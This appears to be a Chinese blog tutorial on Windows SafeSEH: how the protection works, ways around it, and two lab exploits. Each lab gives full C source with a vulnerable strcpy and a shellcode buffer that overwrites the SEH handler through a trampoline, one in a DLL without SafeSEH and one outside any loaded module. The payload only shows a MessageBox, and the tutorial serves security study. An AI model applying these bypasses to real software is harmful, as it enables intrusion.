SafeSEH原理与对抗

SafeSEH原理

在 Windows XP sp2 以及之后的版本中,微软引入了 S.E.H 校验机制 SafeSEH。SafeSEH 需要 OS 和 Compiler 的双重支持,二者缺一都会降低保护能力。通过启用 /SafeSEH 链接选项可心使编译好的程序具备 SafeSEH 功能(VS2003 及后续版本默认启用)。该选项会将所有异常处理函数地址提取出来,编入 SEH 表中,并将这张表放到程序的映像里。异常调用时,就与这张预先存好的表中的地址进行校验。

VS 的 Visual Studio 200* Command Prompt 中,使用 dumpbin /loadconfig *.exe 命令可以查看 SEH 表:

Microsoft (R) COFF/PE Dumper Version 9.00.30729.01
Copyright (C) Microsoft Corporation.  All rights reserved.

Dump of file gs.exe

File Type: EXECUTABLE IMAGE

  Section contains the following load config:

            00000048 size
                   0 time date stamp
                0.00 Version
                   0 GlobalFlags Clear
                   0 GlobalFlags Set
                   0 Critical Section Default Timeout
                   0 Decommit Free Block Threshold
                   0 Decommit Total Free Threshold
            00000000 Lock Prefix Table
                   0 Maximum Allocation Size
                   0 Virtual Memory Threshold
                   0 Process Heap Flags
                   0 Process Affinity Mask
                   0 CSD Version
                0000 Reserved
            00000000 Edit list
            00403000 Security Cookie
            004021C0 Safe Exception Handler Table
                   1 Safe Exception Handler Count

    Safe Exception Handler Table

          Address
          --------
          004017F5  __except_handler4

  Summary

        1000 .data
        1000 .rdata
        1000 .reloc
        1000 .rsrc
        1000 .text

SafeSEH 机制从 RtlDispatchException() 开始:

1. 如果异常处理链不在当前程序的栈中,则终止异常处理调用。
2. 如果异常处理函数的指针指向当前程序的栈中,则终止异常处理调用。
3. 在前两项检查都通过后,调用 RtlIsValidHandler() 进行异常处理有效性检查。

Alex 在 08 年的 Black Hat 大会上披露了 RtlIsValidHandler() 的细节:

BOOL RtlIsValidHandler( handler )
{
    if (handler is in the loaded image)      // 在加载模块的内存空间内
    {
        if (image has set the IMAGE_DLLCHARACTERISTICS_NO_SEH flag)
            return FALSE;                    // 程序设置了忽略异常处理
        if (image has a SafeSEH table)       // 含有 SafeSEH 表说明程序启用了 SafeSEH
            if (handler found in the table)  // 异常处理函数地址在表中
                return TRUE;
            else
                return FALSE;
        if (image is a .NET assembly with the ILonly flag set)
            return FALSE;                    // 包含 IL 标志的 .NET 中间语言程序
    }

    if (handler is on non-executable page)   // 在不可执行页上
    {
        if (ExecuteDispatchEnable bit set in the process flags)
            return TRUE;                     // DEP 关闭
        else
            raise ACCESS_VIOLATION;          // 访问违例异常
    }

    if (handler is not in an image)          // 在可执行页上,但在加载模块之外
    {
        if (ImageDispatchEnable bit set in the process flags)
            return TRUE;                     // 允许加载模块内存空间外执行
        else
            return FALSE;
    }
    return TRUE;                             // 允许执行异常处理函数
}

由此可见,SafeSEH 对 S.E.H 的保护已经很完善了,能有效降低通过攻击 S.E.H 异常处理函数指针而获得控制权的可能性。RtlIsValidHandler() 函数只有在以下三种情况下都会允许异常处理函数的执行:

1. 异常处理函数指针位于加载模块内存范围外,并且 DEP 关闭
2. 异常处理函数指针位于加载模块内存范围内,相应模块未启用 SafeSEH 且不是纯 IL   // 注意,若上述伪代码的第 13 行未执行则会执行第 31 行
3. 异常处理函数指针位于加载模块内存范围内,相应模块启用 SafeSEH 且函数地址在 SEH 表中

针对以上三种可能性:

1. 若 DEP 关闭,则只要在当前模块的内存范围之外找一个跳板,就能转入 shellcode 执行

2. 第二种情况,可以在加载模块中找一个没有启用 SafeSEH 的模块,用这个未启用 SafeSEH 模块里的指令作为跳板,转入 shellcode 执行。(所以说 SafeSEH 需要 OS 与 Compiler 的双重支持)

3. 可以考虑清空 SafeSEH 表以欺骗 OS,或者将自己的函数地址注入到 SEH 表中。但因为 SEH 表的信息在内存中是加密的,破坏它很难,故放弃。

SEH 有一个缺陷:如果 SEH 中的异常函数指针指向堆区,那即使 SEH 校验发现异常处理函数不可信,仍然会调用这个不可信的异常处理函数!所以只要将 shellcode 布置在堆区就能直接跳转执行!!

另外,攻击返回地址或者虚函数也可以直接绕过 SafeSEH;

 

绕过 SafeSEH

方法一:覆盖函数返回地址。若攻击对象启用了 SafeSEH 但是 没有启用 GS 或者存在未受 GS 保护的函数,则可用这个方法。

方法二:攻击虚函数表来绕过 SafeSEH。

方法三:将 shellcode 部署在堆中以绕过 SafeSEH。

方法三:利用未启用 SafeSEH 的模块绕过 SafeSEH。(针对上述的 RtlIsValidHandler() 函数的第二种放行可能)

方法四:DEP 关闭时,可以利用加载模块之外的指令作为跳板(见后文示例)。

 

 

利用未启用 SafeSEH 的模块绕过 SafeSEH

环境:vs2017+vc6+xp sp3

思路是:在没有启用 SafeSEH 并且不是纯 IL 的模块中寻找跳板,利用跳板绕过 SafeSEH。

以下是实验构建的无 SafeSEH 保护的模块,用来做跳板用:

#include "stdafx.h"

BOOL APIENTRY DllMain( HANDLE hModule, 
                       DWORD  ul_reason_for_call, 
                       LPVOID lpReserved
                     )
{
    return TRUE;
}

void jump()
{
    __asm {
        pop eax
        pop eax
        retn
    }
}

vc6工程设置:

1.关闭代码优化

2.设置dll加载基地址

这个实验中需要用到一个 OllyDbg 的插件:OllySSEH,下载地址:https://download.csdn.net/download/whatday/10707442

OllyDbg 加载以上代码编译出的 DLL 文件,使用 OllySSEH 查看 SafeSEH 情况可以发现此 DLL 无 SafeSEH 保护。用OD中的ctrl+b二进制搜索58 58 c3找到自己写的pop eax, pop eax, retn地址

将以上代码加入一个 VC++ 6.0 的 Simple DLL Project 中,并按要求设置好链接参数后,可以编译出适合作为跳板的关闭 SafeSEH 的 DLL 文件。将这个 DLL 放置在以下代码形成的 exe 同级目录中,就可以完成弹窗实验:

以下代码在vs2017下编译完成 工程设置如下:

#define _CRT_SECURE_NO_WARNINGS

#include <windows.h>
#include <stdio.h>


char shellcode[] =

//填满buf的补齐200字节 32字节 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

//实现MessageBoxA功能的shellcode 168字节
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C\x8B\xF4\x8D\x7E"
"\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53\x68\x75\x73\x65\x72\x54\x33\xD2"
"\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38"
"\x1E\x75\x05\x95\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A\xC4\x74\x08\xC1"
"\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75\xE4\x8B\x59\x24\x03\xDD\x66\x8B"
"\x3C\x7B\x8B\x59\x1C\x03\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E"
"\x75\xA9\x33\xDB\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"

//覆盖延申到seh函数地址
"\x90\x90\x90\x90\x90\x90\x90"

//jmp跳到shellcode最开始
"\xE9\x4C\xFF\xFF\xFF"

//seh函数返回地址 pop pop ret(58 58 c3) 会返回到这里 jmp短跳到上边jmp长跳
"\xEB\xF9\x90\x90"

//覆盖seh函数地址
"\x12\x10\x12\x11";


DWORD MyException(void)
{
	printf("There is an exception");
	getchar();
	return 1;
}

void test(char * input)
{
	char str[200];
	strcpy(str, input);
	int zero = 0;
	__try
	{
		zero = 1 / zero;
	}
	__except(MyException()){}
}

int main()
{
	HINSTANCE hInst = LoadLibrary(L"vc6dll.dll");

	char str[200];
	__asm int 3
	test(shellcode);

	return 0;
}

以上代码和《0day》略有区别 因为编译器不一样  具体修改原因如下:

1.把功能shellcode放到 “//覆盖seh函数地址” 之后会发现栈空间不够用 所以只能放在前边的nop区 从而减少nop的字节数

2.如果在“//seh函数返回地址”放入jmp长跳字节数不够只有4字节 如果向前挪动一字节 又错过了返回地址

3.如果在“//覆盖seh函数地址”后直接jmp长跳到上边shellcode 发现jmp的最后一字节会被其他占用 jmp长跳是5字节 只能使用前边4字节 而且流程到了“//seh函数返回地址” 会重复执行 pop pop ret 改变程序流程出错

4.所以只有在“//seh函数返回地址”放入2字节的短跳 中转到上边的长跳 最终跳向功能shellcode

上述原因可以通过OD调试得到 

 

 

利用加载模块之外的指令作为跳板

shellcode 准备完备之前,OD插件OllyFindAddr下载地址:https://download.csdn.net/download/whatday/10707527

用OD插件OllyFindAddr -> Overflow Return Address -> Find CALL/JMP [EBP+N] 来寻找可以使用的跳板,操作完成后打开OD的Log 在非加载模块的地方找到一条很好的跳板:0x00280B0B : call [ebp+0x30]。经调试发现异常处理函数调用时, ebp + 0x30 处存放的是 next SEH struct和先前的 pop pop retn 是一样的效果

代码在vs2017下编译完成  工程设置和上边一样

#define _CRT_SECURE_NO_WARNINGS

#include <windows.h>
#include <stdio.h>


char shellcode[] =

//填满buf的补齐200字节 32字节 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

//实现MessageBoxA功能的shellcode 168字节
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C\x8B\xF4\x8D\x7E"
"\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53\x68\x75\x73\x65\x72\x54\x33\xD2"
"\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38"
"\x1E\x75\x05\x95\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A\xC4\x74\x08\xC1"
"\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75\xE4\x8B\x59\x24\x03\xDD\x66\x8B"
"\x3C\x7B\x8B\x59\x1C\x03\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E"
"\x75\xA9\x33\xDB\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"

//覆盖延申到seh函数地址
"\x90\x90\x90\x90\x90\x90\x90"

//jmp跳到shellcode最开始
"\xE9\x4C\xFF\xFF\xFF"

//pop pop ret(58 58 c3) 会返回到这里 jmp短跳到上边jmp长跳
"\xEB\xF9\x90\x90"

//覆盖seh函数地址		对应指令call [ebp+0x30]
"\x0B\x0B\x28\x00";


DWORD MyException(void)
{
	printf("There is an exception");
	getchar();
	return 1;
}

void test(char * input)
{
	char str[200];
	strcpy(str, input);
	int zero = 0;
	__try
	{
		zero = 1 / zero;
	}
	__except(MyException()){}
}

int main()
{
	//__asm int 3
	test(shellcode);

	return 0;
}

需要说明的是OD直接打开调试 和 int 3附加OD 找到的地址是不同的 

OD直接打开

int 3附加OD

这个原因就是《0day》5.4.3中所说的 调试堆和常态堆的区别了 所以写shellcode取地址时 最好用int 3附加OD

 

 

发布了57 篇原创文章 · 获赞 572 · 访问量 498万+
展开阅读全文

没有更多推荐了,返回首页

©️2019 CSDN 皮肤主题: 编程工作室 设计师: CSDN官方博客

分享到微信朋友圈

×

扫一扫,手机浏览